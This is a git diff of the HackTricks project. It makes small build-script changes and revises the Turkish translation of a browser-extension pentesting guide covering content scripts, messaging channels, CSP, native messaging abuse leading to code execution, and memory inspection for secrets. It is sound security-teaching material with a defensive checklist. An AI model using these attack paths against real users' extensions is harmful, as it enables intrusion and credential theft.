diff --git a/book.toml b/book.toml index 55f8eeb4f..3d588387c 100644 --- a/book.toml +++ b/book.toml @@ -22,6 +22,7 @@ after = ["links"] [preprocessor.hacktricks] command = "python3 ./hacktricks-preprocessor.py" +env = "prod" [output.html] additional-css = ["theme/pagetoc.css", "theme/tabs.css"] diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index 37f549101..fedfdef99 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -30,14 +30,16 @@ def ref(matchobj): href = matchobj.groups(0)[0].strip() title = href if href.startswith("http://") or href.startswith("https://"): - # pass - try: - raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read()) - match = re.search('(.*?)', raw_html) - title = match.group(1) if match else href - except Exception as e: - logger.debug(f'Error opening URL {href}: {e}') - pass #nDont stop on broken link + if context['config']['preprocessor']['hacktricks']['env'] == 'dev': + pass + else: + try: + raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read()) + match = re.search('(.*?)', raw_html) + title = match.group(1) if match else href + except Exception as e: + logger.debug(f'Error opening URL {href}: {e}') + pass #nDont stop on broken link else: try: if href.endswith("/"): @@ -90,7 +92,7 @@ if __name__ == '__main__': context, book = json.load(sys.stdin) logger.debug(f"Context: {context}") - + logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}") for chapter in iterate_chapters(book['sections']): logger.debug(f"Chapter: {chapter['path']}") diff --git a/src/1911-pentesting-fox.md b/src/1911-pentesting-fox.md index cfbbb6788..bf5fe9912 100644 --- a/src/1911-pentesting-fox.md +++ b/src/1911-pentesting-fox.md @@ -12,7 +12,7 @@ dht udp "DHT Düğümleri" ![]() -![]() +![]() InfluxDB @@ -24,6 +24,6 @@ InfluxDB ![]() -![]() +![]() {{#include ./banners/hacktricks-training.md}} diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md index 64d0d8287..4d0d4a2d1 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md @@ -14,7 +14,7 @@ Eklenti düzenleri en iyi şekilde görselleştirildiğinde görünür ve üç b ### **İçerik Scriptleri** -Her içerik scriptinin **tek bir web sayfasının** DOM'una doğrudan erişimi vardır ve bu nedenle **potansiyel olarak kötü niyetli girdilere** maruz kalır. Ancak, içerik scripti eklenti çekirdeğine mesaj gönderme yeteneği dışında hiçbir izne sahip değildir. +Her içerik scriptinin **tek bir web sayfasının** DOM'una doğrudan erişimi vardır ve bu nedenle **potansiyel olarak kötü niyetli girdilere** maruz kalır. Ancak, içerik scripti eklenti çekirdeğine mesaj göndermenin dışında hiçbir izne sahip değildir. ### **Eklenti Çekirdeği** @@ -27,7 +27,7 @@ Eklenti, kullanıcının tam ayrıcalıklarıyla **ana makineye erişebilen bir ### Sınırlar > [!CAUTION] -> Kullanıcının tam ayrıcalıklarını elde etmek için, bir saldırganın eklentiyi içerik scriptinden kötü niyetli girişi eklentinin çekirdeğine ve eklentinin çekirdeğinden yerel ikiliye geçirmesi için ikna etmesi gerekir. +> Kullanıcının tam ayrıcalıklarını elde etmek için, bir saldırganın eklentiyi içerik scriptinden eklentinin çekirdeğine ve eklentinin çekirdeğinden yerel ikiliye kötü niyetli girdi geçirmesi için ikna etmesi gerekir. Eklentinin her bir bileşeni, **güçlü koruyucu sınırlarla** birbirinden ayrılmıştır. Her bir bileşen, **ayrı bir işletim sistemi sürecinde** çalışır. İçerik scriptleri ve eklenti çekirdekleri, çoğu işletim sistemi hizmetine kapalı olan **sandbox süreçlerinde** çalışır. @@ -61,7 +61,7 @@ Bir Chrome eklentisi, [.crx dosya uzantısına](https://www.lifewire.com/crx-fil ``` ### `content_scripts` -İçerik betikleri, kullanıcı **eşleşen bir sayfaya gittiğinde** **yüklenir**, bu durumda **`https://example.com/*`** ifadesine uyan ve **`*://*/*/business*`** regex'ine uymayan herhangi bir sayfa. Sayfanın [Belge Nesne Modeli (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) üzerinde keyfi erişime sahip olarak **sayfanın kendi betikleri gibi** çalışırlar. +İçerik betikleri, kullanıcı **eşleşen bir sayfaya gittiğinde** **yüklenir**, bu durumda **`https://example.com/*`** ifadesine uyan ve **`*://*/*/business*`** regex'ine uymayan herhangi bir sayfa. Sayfanın [Belge Nesne Modeline (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) erişimi vardır ve **sayfanın kendi betikleri gibi** çalışırlar. ```json "content_scripts": [ { @@ -78,7 +78,7 @@ Bir Chrome eklentisi, [.crx dosya uzantısına](https://www.lifewire.com/crx-fil ``` Daha fazla URL eklemek veya çıkarmak için **`include_globs`** ve **`exclude_globs`** kullanmak da mümkündür. -Bu, uzantının depolamasından `message` değerini almak için [depolama API'sini](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) kullanan bir açıklama butonu ekleyecek örnek bir içerik betiğidir. +Bu, uzantının depolama alanından `message` değerini almak için [depolama API'sini](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) kullanan bir açıklama butonu ekleyecek örnek bir içerik betiğidir. ```js chrome.storage.local.get("message", (result) => { let div = document.createElement("div") @@ -104,9 +104,9 @@ Geliştirici araçları görüntülendikten sonra, **Kaynak sekmesi** tıklanmal ### Enjekte Edilmiş İçerik Betikleri > [!TIP] -> **İçerik Betikleri zorunlu değildir**; ayrıca **dinamik olarak** **enjekte** betikleri ve web sayfalarına **programatik olarak enjekte** etmek de mümkündür; bu, **`tabs.executeScript`** aracılığıyla gerçekleştirilir. Bu, aslında daha **detaylı kontroller** sağlar. +> **İçerik Betikleri zorunlu değildir**; ayrıca **dinamik olarak** **betik enjekte etmek** ve **programatik olarak** web sayfalarına enjekte etmek de mümkündür; bu, **`tabs.executeScript`** aracılığıyla gerçekleştirilir. Bu, aslında daha **detaylı kontroller** sağlar. -Bir içerik betiğinin programatik olarak enjekte edilmesi için, uzantının betiklerin enjekte edileceği sayfa için [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) alması gerekmektedir. Bu izinler, uzantının manifestosunda **talep edilerek** veya geçici olarak [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab) aracılığıyla güvence altına alınabilir. +Bir içerik betiğinin programatik olarak enjekte edilmesi için, uzantının betiklerin enjekte edileceği sayfa için [host izinlerine](https://developer.chrome.com/docs/extensions/reference/permissions) sahip olması gerekmektedir. Bu izinler, uzantının manifestosunda **talep edilerek** veya geçici olarak [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab) aracılığıyla güvence altına alınabilir. #### Örnek activeTab tabanlı uzantı ```json:manifest.json @@ -138,7 +138,7 @@ files: ["content-script.js"], }) }) ``` -- **Bir fonksiyon enjekte et** tıklandığında: +- **Bir fonksiyonu** tıklama ile enjekte et: ```javascript //service-worker.js - Inject a function function injectedFunction() { @@ -171,7 +171,7 @@ Daha fazla URL eklemek veya çıkarmak için **`include_globs`** ve **`exclude_g ### İçerik Scriptleri `run_at` -`run_at` alanı **JavaScript dosyalarının web sayfasına ne zaman enjekte edileceğini** kontrol eder. Tercih edilen ve varsayılan değer `"document_idle"`dur. +`run_at` alanı **JavaScript dosyalarının web sayfasına ne zaman enjekte edileceğini** kontrol eder. Tercih edilen ve varsayılan değer `"document_idle"`'dır. Olası değerler şunlardır: @@ -208,11 +208,11 @@ js: ["contentScript.js"], ``` ### `background` -İçerik betikleri tarafından gönderilen mesajlar, uzantının bileşenlerini koordine etmede merkezi bir rol oynayan **arka plan sayfası** tarafından alınır. Özellikle, arka plan sayfası uzantının ömrü boyunca devam eder, doğrudan kullanıcı etkileşimi olmadan gizlice çalışır. Kendi Belge Nesne Modeli (DOM) vardır, bu da karmaşık etkileşimler ve durum yönetimi sağlar. +İçerik betikleri tarafından gönderilen mesajlar, uzantının bileşenlerini koordine eden merkezi bir rol üstlenen **arka plan sayfası** tarafından alınır. Özellikle, arka plan sayfası uzantının ömrü boyunca devam eder, doğrudan kullanıcı etkileşimi olmadan gizlice çalışır. Kendi Belge Nesne Modeli (DOM) vardır, bu da karmaşık etkileşimler ve durum yönetimi sağlar. **Ana Noktalar**: -- **Arka Plan Sayfası Rolü:** Uzantının sinir merkezi olarak hareket eder, uzantının çeşitli parçaları arasında iletişim ve koordinasyonu sağlar. +- **Arka Plan Sayfası Rolü:** Uzantının sinir merkezi olarak işlev görür, uzantının çeşitli parçaları arasında iletişim ve koordinasyonu sağlar. - **Süreklilik:** Kullanıcıya görünmez, ancak uzantının işlevselliği için hayati bir varlıktır. - **Otomatik Oluşturma:** Açıkça tanımlanmadıysa, tarayıcı otomatik olarak bir arka plan sayfası oluşturur. Bu otomatik oluşturulan sayfa, uzantının manifestosunda belirtilen tüm arka plan betiklerini içerecek şekilde, uzantının arka plan görevlerinin kesintisiz çalışmasını sağlar. @@ -238,7 +238,7 @@ Arka plan betiğini hata ayıklamak için **uzantı ayrıntılarına gidip hizme Tarayıcı uzantıları çeşitli türde sayfalar içerebilir: - **Eylem sayfaları**, uzantı simgesine tıklandığında **açılır menüde** görüntülenir. -- Uzantının **yeni bir sekmede yükleyeceği sayfalar**. +- Uzantının **yeni bir sekmede yükleyeceği** sayfalar. - **Seçenek Sayfaları**: Bu sayfa tıklandığında uzantının üstünde görüntülenir. Önceki manifestoda bu sayfaya `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` adresinden veya tıklayarak erişebildim:
@@ -264,7 +264,7 @@ browext-permissions-and-host_permissions.md Bir **içerik güvenlik politikası**, `manifest.json` içinde de tanımlanabilir. Eğer tanımlıysa, **açık bir şekilde savunmasız** olabilir. -Tarayıcı uzantısı sayfaları için varsayılan ayar oldukça kısıtlayıcıdır: +Tarayıcı uzantı sayfaları için varsayılan ayar oldukça kısıtlayıcıdır: ```bash script-src 'self'; object-src 'self'; ``` @@ -276,7 +276,7 @@ Daha fazla bilgi için CSP ve potansiyel bypass'lar hakkında kontrol edin: ### `web_accessible_resources` -Bir web sayfasının bir Tarayıcı Eklentisi sayfasına, örneğin bir `.html` sayfasına erişebilmesi için, bu sayfanın `manifest.json` dosyasındaki **`web_accessible_resources`** alanında belirtilmesi gerekir.\ +Bir web sayfasının bir Tarayıcı Uzantısının sayfasına, örneğin bir `.html` sayfasına erişebilmesi için, bu sayfanın `manifest.json` dosyasındaki **`web_accessible_resources`** alanında belirtilmesi gerekir.\ Örneğin: ```javascript { @@ -314,7 +314,7 @@ browext-clickjacking.md {{#endref}} > [!TIP] -> Bu sayfaların yalnızca uzantı tarafından ve rastgele URL'ler tarafından yüklenmesine izin verilmesi, ClickJacking saldırılarını önleyebilir. +> Bu sayfaların yalnızca uzantı tarafından ve rastgele URL'ler tarafından yüklenmesine izin vermek, ClickJacking saldırılarını önleyebilir. > [!CAUTION] > **`web_accessible_resources`** ve uzantının diğer sayfalarının da **arka plan betikleriyle iletişim kurma** yeteneğine sahip olduğunu unutmayın. Bu nedenle, bu sayfalardan biri **XSS**'ye karşı savunmasızsa, daha büyük bir güvenlik açığı açabilir. @@ -333,12 +333,12 @@ browext-clickjacking.md "https://*.google.com/*", "*://*.chromium.org/*", ``` -- Eğer boş olarak belirtilmişse: **`"externally_connectable": {}`**, hiçbir uygulama veya web bağlantı kuramayacaktır. +- Eğer boş olarak belirtilmişse: **`"externally_connectable": {}`**, hiçbir uygulama veya web bağlanamayacaktır. -Burada belirtilen **daha az uzantı ve URL**, **saldırı yüzeyinin** daha küçük olacağı anlamına gelir. +Burada belirtilen **daha az uzantı ve URL**, **saldırı yüzeyini** **daha küçük** hale getirecektir. > [!CAUTION] -> Eğer bir web sayfası **XSS veya ele geçirme** için **`externally_connectable`** içinde belirtilmişse, bir saldırgan **arka plan scriptine doğrudan mesaj gönderebilir**, İçerik Scriptini ve CSP'yi tamamen atlayarak. +> Eğer bir web sayfası **XSS veya ele geçirme** için **`externally_connectable`** içinde belirtilmişse, bir saldırgan **arka plan scriptine doğrudan mesaj gönderebilir**, Content Script ve CSP'yi tamamen atlayarak. > > Bu nedenle, bu **çok güçlü bir atlatmadır**. > @@ -348,13 +348,13 @@ Burada belirtilen **daha az uzantı ve URL**, **saldırı yüzeyinin** daha kü ### Uzantı <--> Web Uygulaması -İçerik scripti ile web sayfası arasında iletişim kurmak için genellikle post mesajları kullanılır. Bu nedenle, web uygulamasında genellikle **`window.postMessage`** fonksiyonuna yapılan çağrılar ve içerik scriptinde **`window.addEventListener`** gibi dinleyiciler bulacaksınız. Ancak, uzantının ayrıca **bir Post Message göndererek web uygulaması ile iletişim kurabileceğini** ve bu nedenle webin bunu beklemesi gerektiğini unutmayın veya sadece webin yeni bir script yüklemesini sağlayabilir. +İçerik scripti ile web sayfası arasında iletişim kurmak için genellikle post mesajları kullanılır. Bu nedenle, web uygulamasında genellikle **`window.postMessage`** fonksiyonuna yapılan çağrılar ve içerik scriptinde **`window.addEventListener`** gibi dinleyiciler bulacaksınız. Ancak, uzantının ayrıca **bir Post Message göndererek web uygulaması ile iletişim kurabileceğini** (bu nedenle webin bunu beklemesi gerektiğini) veya sadece webin yeni bir script yüklemesini sağlayabileceğini unutmayın. ### Uzantının içinde Genellikle **`chrome.runtime.sendMessage`** fonksiyonu uzantı içinde bir mesaj göndermek için kullanılır (genellikle `background` scripti tarafından işlenir) ve bunu almak ve işlemek için bir dinleyici **`chrome.runtime.onMessage.addListener`** çağrısı ile tanımlanır. -Ayrıca, tekil mesajlar göndermek yerine sürekli bir bağlantı kurmak için **`chrome.runtime.connect()`** kullanmak da mümkündür, bu, aşağıdaki örnekte olduğu gibi **mesajlar** **göndermek** ve **almak** için kullanılabilir: +Ayrıca, tekil mesajlar göndermek yerine sürekli bir bağlantı sağlamak için **`chrome.runtime.connect()`** kullanmak da mümkündür, bu, aşağıdaki örnekte olduğu gibi **mesajlar** **göndermek** ve **almak** için kullanılabilir:
@@ -393,7 +393,7 @@ Belirli bir sekmede bulunan bir içerik betiğine arka plan betiğinden mesaj g ### İzin verilen `externally_connectable`'dan uzantıya -`externally_connectable` yapılandırmasında **izin verilen web uygulamaları ve harici tarayıcı uzantıları** istek gönderebilir: +`externally_connectable` yapılandırmasında **izin verilen web uygulamaları ve harici tarayıcı uzantıları** aşağıdaki gibi istek gönderebilir: ```javascript chrome.runtime.sendMessage(extensionId, ... ``` @@ -401,7 +401,7 @@ chrome.runtime.sendMessage(extensionId, ... ### Yerel Mesajlaşma -Arka plan betiklerinin sistem içindeki ikili dosyalarla iletişim kurması mümkündür; bu iletişim düzgün bir şekilde güvence altına alınmazsa **RCE'ler gibi kritik güvenlik açıklarına** maruz kalabilir. [Bununla ilgili daha fazla bilgi](./#native-messaging). +Arka plan betiklerinin, bu iletişim düzgün bir şekilde güvence altına alınmazsa **RCE'ler gibi kritik güvenlik açıklarına** eğilimli olabilecek sistem içindeki ikili dosyalarla iletişim kurması mümkündür. [Bununla ilgili daha fazla bilgi](./#native-messaging). ```javascript chrome.runtime.sendNativeMessage( "com.my_company.my_application", @@ -413,7 +413,7 @@ console.log("Received " + response) ``` ## Web **↔︎** İçerik Scripti İletişimi -**İçerik scriptlerinin** çalıştığı ortamlar ve ana sayfaların bulunduğu yerler birbirinden **ayrıdır**, bu da **izolasyon** sağlar. Bu izolasyona rağmen, her ikisi de sayfanın **Belge Nesne Modeli (DOM)** ile etkileşimde bulunma yeteneğine sahiptir, bu da paylaşılan bir kaynaktır. Ana sayfanın **içerik scripti** ile veya içerik scripti aracılığıyla uzantı ile dolaylı olarak iletişim kurabilmesi için, her iki tarafın da erişebileceği **DOM**'u iletişim kanalı olarak kullanması gerekmektedir. +**İçerik scriptlerinin** çalıştığı ortamlar ve ana sayfaların bulunduğu yerler **birbirinden ayrıdır**, bu da **izolasyon** sağlar. Bu izolasyona rağmen, her ikisi de sayfanın **Belge Nesne Modeli (DOM)** ile etkileşimde bulunma yeteneğine sahiptir, bu da paylaşılan bir kaynaktır. Ana sayfanın **içerik scripti** ile veya içerik scripti aracılığıyla uzantı ile dolaylı olarak iletişim kurabilmesi için, her iki tarafın da erişebildiği **DOM**'u iletişim kanalı olarak kullanması gerekmektedir. ### Post Mesajları ```javascript:content-script.js @@ -452,9 +452,9 @@ false ``` Güvenli bir Post Message iletişimi, alınan mesajın doğruluğunu kontrol etmelidir, bu şu şekilde yapılabilir: -- **`event.isTrusted`**: Bu, yalnızca olay bir kullanıcı eylemi tarafından tetiklendiğinde Doğrudur. +- **`event.isTrusted`**: Bu, yalnızca olay bir kullanıcı eylemi tarafından tetiklendiğinde Doğru'dur. - İçerik betiği, yalnızca kullanıcı bir eylem gerçekleştirdiğinde bir mesaj bekliyor olabilir. -- **origin domain**: yalnızca izin verilen alanlar listesi ile bir mesaj bekliyor olabilir. +- **origin domain**: yalnızca izin verilen alanlar listesinden bir mesaj bekliyor olabilir. - Bir regex kullanılıyorsa, çok dikkatli olun. - **Source**: `received_message.source !== window` mesajın **Content Script'in dinlediği aynı pencereden** gelip gelmediğini kontrol etmek için kullanılabilir. @@ -466,7 +466,7 @@ Güvenli bir Post Message iletişimi, alınan mesajın doğruluğunu kontrol etm ### Iframe -İletişim için başka bir olası yol **Iframe URL'leri** aracılığıyla olabilir, bir örneği burada bulabilirsiniz: +İletişim için başka bir olası yol **Iframe URL'leri** aracılığıyla olabilir, bir örneği şurada bulabilirsiniz: {{#ref}} browext-xss-example.md @@ -474,9 +474,9 @@ browext-xss-example.md ### DOM -Bu "tam olarak" bir iletişim yolu değildir, ancak **web ve içerik betiği web DOM'una erişim sağlayacaktır**. Yani, eğer **içerik betiği** ondan bazı bilgileri okuyorsa, **web DOM'una güvenerek**, web bu veriyi **değiştirebilir** (çünkü web güvenilir olmamalıdır veya çünkü web XSS'e karşı savunmasızdır) ve **Content Script'i tehlikeye atabilir**. +Bu "tam olarak" bir iletişim yolu değildir, ancak **web ve içerik betiği web DOM'una erişim sağlayacaktır**. Yani, eğer **içerik betiği** ondan bazı bilgileri okuyorsa, **web DOM'una güveniyorsa**, web bu veriyi **değiştirebilir** (çünkü web güvenilir olmamalıdır veya çünkü web XSS'e karşı savunmasızdır) ve **Content Script'i tehlikeye atabilir**. -Ayrıca, bir **DOM tabanlı XSS ile bir tarayıcı uzantısını tehlikeye atma** örneğini burada bulabilirsiniz: +Ayrıca, bir **tarayıcı uzantısını tehlikeye atmak için DOM tabanlı bir XSS örneğini** şurada bulabilirsiniz: {{#ref}} browext-xss-example.md @@ -486,7 +486,7 @@ browext-xss-example.md Bir İçerik Betiği, [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **veya** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) fonksiyonlarını kullanarak **bir kerelik JSON-serializable** bir mesaj gönderebilir. -**Yanıtı** işlemek için döndürülen **Promise**'i kullanın. Ancak, geriye dönük uyumluluk için, son argüman olarak hala bir **callback** geçebilirsiniz. +**Yanıtı** işlemek için döndürülen **Promise**'ı kullanın. Ancak, geriye dönük uyumluluk için, son argüman olarak hala bir **callback** geçebilirsiniz. Bir **içerik betiğinden** bir istek göndermek şöyle görünür: ```javascript @@ -539,14 +539,14 @@ Tarayıcı uzantıları ayrıca **sistemdeki ikili dosyalarla stdin üzerinden i "allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"] } ``` -`name`, [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) veya [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) ile arka plan betiklerinden uygulama ile iletişim kurmak için geçirilen dizedir. `path`, ikili dosyanın yoludur, yalnızca 1 geçerli `type` vardır, o da stdio'dur (stdin ve stdout kullanın) ve `allowed_origins`, buna erişebilen uzantıları belirtir (ve joker karakter olamaz). +`name`, [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) veya [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) ile arka plan betiklerinden uygulama ile iletişim kurmak için geçirilen dizedir. `path`, ikili dosyanın yoludur, yalnızca 1 geçerli `type` vardır, bu da stdio'dur (stdin ve stdout kullanın) ve `allowed_origins`, buna erişebilecek uzantıları belirtir (ve joker karakter olamaz). -Chrome/Chromium, bu json'u bazı Windows kayıt defterlerinde ve macOS ile Linux'taki bazı yollarda arayacaktır (daha fazla bilgi için [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging) bakın). +Chrome/Chromium, bu json'u bazı Windows kayıt defterlerinde ve macOS ile Linux'taki bazı yollarda arayacaktır (daha fazla bilgi için [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging) bölümüne bakın). > [!TIP] > Tarayıcı uzantısının bu iletişimi kullanabilmesi için `nativeMessaing` izninin de tanımlanması gerekir. -İşte bazı arka plan betiği kodunun yerel bir uygulamaya mesaj göndermesi: +İşte bazı arka plan betiği kodunun yerel bir uygulamaya mesaj göndermesi şöyle görünür: ```javascript chrome.runtime.sendNativeMessage( "com.my_company.my_application", @@ -556,30 +556,30 @@ console.log("Received " + response) } ) ``` -[**bu blog yazısında**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/) yerel mesajları kötüye kullanan bir zayıf desen önerilmektedir: +[**Bu blog yazısında**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/) yerel mesajları kötüye kullanan bir zayıf desen önerilmektedir: 1. Tarayıcı uzantısı içerik betiği için bir joker karakter deseni vardır. 2. İçerik betiği `sendMessage` kullanarak arka plan betiğine `postMessage` mesajları gönderir. 3. Arka plan betiği mesajı `sendNativeMessage` kullanarak yerel uygulamaya iletir. -4. Yerel uygulama mesajı tehlikeli bir şekilde işler ve bu da kod yürütmeye yol açar. +4. Yerel uygulama mesajı tehlikeli bir şekilde işler, bu da kod yürütmeye yol açar. Ve bunun içinde **herhangi bir sayfadan RCE'ye geçiş yapma örneği bir tarayıcı uzantısını kötüye kullanarak açıklanmaktadır**. -## Bellekte/Kodda/Panoda Hassas Bilgiler +## Bellek/Kod/Panoya Duyarlı Bilgiler -Eğer bir Tarayıcı Uzantısı **hassas bilgileri belleğinde saklıyorsa**, bu **dökülebilir** (özellikle Windows makinelerinde) ve bu bilgiler için **arama yapılabilir**. +Eğer bir Tarayıcı Uzantısı **duyarlı bilgileri belleğinde saklıyorsa**, bu **dökülebilir** (özellikle Windows makinelerinde) ve bu bilgiler için **arama yapılabilir**. -Bu nedenle, Tarayıcı Uzantısının belleği **güvenli olarak kabul edilmemelidir** ve **hassas bilgiler** (kimlik bilgileri veya mnemonik ifadeler gibi) **saklanmamalıdır**. +Bu nedenle, Tarayıcı Uzantısının belleği **güvenli olarak kabul edilmemelidir** ve **duyarlı bilgiler** (kimlik bilgileri veya mnemonik ifadeler gibi) **saklanmamalıdır**. -Elbette, **hassas bilgileri kodda bulundurmayın**, çünkü bu **kamusal** olacaktır. +Elbette, **duyarlı bilgileri kodda saklamayın**, çünkü bu **kamusal** olacaktır. -Tarayıcıdan bellek dökmek için **işlem belleğini dökebilir** veya tarayıcı uzantısının **ayarlarına** gitmek için **`Inspect pop-up`** üzerine tıklayın -> **`Memory`** bölümünde -> **`Take a snaphost`** ve **`CTRL+F`** ile anlık görüntüde hassas bilgileri arayın. +Tarayıcıdan bellek dökmek için **işlem belleğini dökebilir** veya tarayıcı uzantısının **ayarlarına** gitmek için **`Inspect pop-up`** üzerine tıklayın -> **`Memory`** bölümünde -> **`Take a snapshot`** ve duyarlı bilgileri bulmak için anlık görüntü içinde **`CTRL+F`** ile arama yapın. -Ayrıca, mnemonik anahtarlar veya şifreler gibi son derece hassas bilgilerin **panoya kopyalanmasına izin verilmemelidir** (veya en azından birkaç saniye içinde panodan kaldırılmalıdır) çünkü bu durumda panoyu izleyen işlemler bunları alabilecektir. +Ayrıca, mnemonik anahtarlar veya şifreler gibi son derece duyarlı bilgilerin **panoya kopyalanmasına izin verilmemelidir** (veya en azından birkaç saniye içinde panodan kaldırılmalıdır) çünkü bu durumda panoyu izleyen işlemler bunları alabilecektir. ## Tarayıcıda Bir Uzantı Yükleme -1. **Tarayıcı Uzantısını İndirin** ve açın +1. Tarayıcı Uzantısını **indirin** ve açın 2. **`chrome://extensions/`** adresine gidin ve `Geliştirici Modu`nu **etkinleştirin** 3. **`Load unpacked`** butonuna tıklayın @@ -612,7 +612,7 @@ Başka bir pratik yöntem, açık kaynaklı bir proje olan Chrome Extension Sour Yerel olarak yüklenmiş Chrome uzantıları da incelenebilir. İşte nasıl: -1. `chrome://version/` adresine giderek Chrome yerel profil dizininize erişin ve "Profil Yolu" alanını bulun. +1. `chrome://version/` adresine giderek Chrome yerel profil dizininize erişin ve "Profile Path" alanını bulun. 2. Profil dizinindeki `Extensions/` alt klasörüne gidin. 3. Bu klasör, genellikle okunabilir formatta kaynak kodlarıyla birlikte tüm yüklenmiş uzantıları içerir. @@ -627,11 +627,11 @@ Chrome Web Store'a gidin ve uzantıyı indirin. Dosya `.crx` uzantısına sahip ### Chrome'da Geliştirici Modunu kullanın -Chrome'u açın ve `chrome://extensions/` adresine gidin. Sağ üstte "Geliştirici modunu" etkinleştirin. "Paketlenmemiş uzantıyı yükle..." seçeneğine tıklayın. Uzantınızın dizinine gidin. Bu, kaynak kodunu indirmez, ancak zaten indirilmiş veya geliştirilmiş bir uzantının kodunu görüntülemek ve değiştirmek için faydalıdır. +Chrome'u açın ve `chrome://extensions/` adresine gidin. Sağ üstte "Geliştirici modu"nu etkinleştirin. "Paketlenmemiş uzantıyı yükle..." seçeneğine tıklayın. Uzantınızın dizinine gidin. Bu, kaynak kodunu indirmez, ancak zaten indirilmiş veya geliştirilmiş bir uzantının kodunu görüntülemek ve değiştirmek için faydalıdır. ## Chrome uzantı manifest veri seti -Zayıf tarayıcı uzantılarını tespit etmeye çalışmak için [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) adresini kullanabilir ve manifest dosyalarını potansiyel olarak zayıf işaretler için kontrol edebilirsiniz. Örneğin, 25000'den fazla kullanıcısı olan, `content_scripts` ve `nativeMessaing` iznine sahip uzantıları kontrol etmek için: +Zayıf tarayıcı uzantılarını tespit etmeye çalışmak için [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) kullanabilir ve manifest dosyalarını potansiyel olarak zayıf işaretler için kontrol edebilirsiniz. Örneğin, 25000'den fazla kullanıcısı olan, `content_scripts` ve `nativeMessaging` iznine sahip uzantıları kontrol etmek için: ```bash # Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')" @@ -644,7 +644,7 @@ Tarayıcı Uzantıları **sınırlı bir saldırı yüzeyine** sahip olsalar da, - [ ] **`host_permissions`**'ı mümkün olduğunca **sınırlayın** - [ ] **Güçlü** bir **`content_security_policy`** kullanın - [ ] **`externally_connectable`**'ı mümkün olduğunca **sınırlayın**, eğer gerek yoksa ve mümkünse varsayılan olarak bırakmayın, **`{}`** belirtin -- [ ] Eğer burada **XSS veya ele geçirme için zayıf URL** belirtilmişse, bir saldırgan **arka plan betiklerine doğrudan mesaj gönderebilir**. Çok güçlü bir atlatma. +- [ ] Eğer burada **XSS veya ele geçirme** için zayıf bir URL belirtilmişse, bir saldırgan **arka plan betiklerine doğrudan mesaj gönderebilir**. Çok güçlü bir atlatma. - [ ] **`web_accessible_resources`**'ı mümkün olduğunca **sınırlayın**, mümkünse boş bırakın. - [ ] Eğer **`web_accessible_resources`** yoksa, [**ClickJacking**](browext-clickjacking.md) için kontrol edin - [ ] Eğer **uzantı** ile **web sayfası** arasında herhangi bir **iletişim** oluyorsa, iletişimde oluşan [**XSS**](browext-xss-example.md) **zayıflıklarını** kontrol edin. @@ -654,7 +654,7 @@ Tarayıcı Uzantıları **sınırlı bir saldırı yüzeyine** sahip olsalar da, - [ ] Eğer arka plan betiği **yerel mesajlaşma** aracılığıyla iletişim kuruyorsa, iletişimin güvenli ve temiz olduğundan emin olun - [ ] **Hassas bilgiler** Tarayıcı Uzantısı **kodunun** içinde **saklanmamalıdır** - [ ] **Hassas bilgiler** Tarayıcı Uzantısı **belleğinin** içinde **saklanmamalıdır** -- [ ] **Hassas bilgiler** **korumasız dosya sisteminde** **saklanmamalıdır** +- [ ] **Hassas bilgiler** **dosya sisteminde korumasız** olarak **saklanmamalıdır** ## Tarayıcı Uzantısı Riskleri @@ -665,8 +665,8 @@ Tarayıcı Uzantıları **sınırlı bir saldırı yüzeyine** sahip olsalar da, ### [**Tarnish**](https://thehackerblog.com/tarnish/) - Verilen bir Chrome webstore bağlantısından herhangi bir Chrome uzantısını çeker. -- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **görüntüleyici**: uzantının manifestosunun JSON formatında düzenlenmiş bir versiyonunu basitçe görüntüler. -- **Parmak İzi Analizi**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) tespiti ve Chrome uzantısı parmak izi oluşturma JavaScript'inin otomatik olarak üretilmesi. +- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **görüntüleyici**: uzantının manifestosunun JSON formatında düzenlenmiş bir versiyonunu basitçe gösterir. +- **Parmak İzi Analizi**: 